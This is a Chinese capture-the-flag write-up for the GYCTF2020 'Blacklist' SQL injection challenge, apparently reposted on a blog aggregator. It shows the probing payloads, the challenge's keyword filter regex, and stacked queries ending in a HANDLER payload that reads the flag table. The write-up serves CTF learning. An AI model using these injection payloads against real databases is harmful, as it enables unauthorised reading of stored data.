当前位置: 首页 > news >正文

[GYCTF2020]Blacklist(堆叠注入)

目录

信息收集

堆叠注入

payload

总结


信息收集

观察url变化是get请求的SQL注入题目

判断注入类型

1和1"回显一样

1'回显报错

1' or 1=1#

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

猜测SQL语句为

select * from tablename where user ='{inject}';

判断列数

1' order by 3#

error 1054 : Unknown column '3' in 'order clause'

一共2列

判断回显

-1' union select 1,2,3#

回显出过滤规则

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

select被过滤了,.也被过过滤了(这里的\是单个匹配),根据以往经验这种题目可能是延时,或者堆叠注入

我们先尝试最方便的堆叠注入

堆叠注入

1';show databases;#

1'; show tables;# 

猜测flag可能在flaghere这个表里面

1'; show columns from FlagHere;#

 flag应该在 表FlagHere的“flag”列里面

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
这里set被禁用,因此无法使用预处理进行语句编写,也禁用了rename语句,因此不能改名来直接通过id读取

我们可以使用之前用过的handler函数进行读取

payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

拿到flag

总结

这个题目的解法和之前做过的[强网杯 2019]随便注比较相似,都是堆叠注入的考点,不过过滤了它的前两种做法使用的函数,使得我们只能通过第三种方法handler函数进行读取

相关文章:

  • 网站开发 图片储存/电商代运营
  • wordpress引用js代码/长尾词排名优化软件
  • 网站建设方案设计心得/顺德搜索seo网络推广
  • 多版本wordpress/seo主管招聘
  • 政府网站建设怎么做/百度公司总部
  • 提供邯郸做wap网站/抖音seo推荐算法
  • SM4算法学习笔记
  • NISP证书的含金量有多高,是否能够实现2023年月薪过万呢?
  • [Android]动画
  • 【JavaGuide面试总结】计算机网络·上
  • 【Linux】两个故事带你使用git命令行
  • 循环语句(循环结构)——“C”
  • 初识 Django(Python WEB 框架)
  • 用PYTHON自动登录SAP GUI
  • 网络工程师必须搞清楚MPLS与专线的区别
  • 【Linux】Linux软件包管理器与Linux编辑器
  • 数据库系统概念 | 第三章:SQL介绍
  • 算法动态规划 0-1背包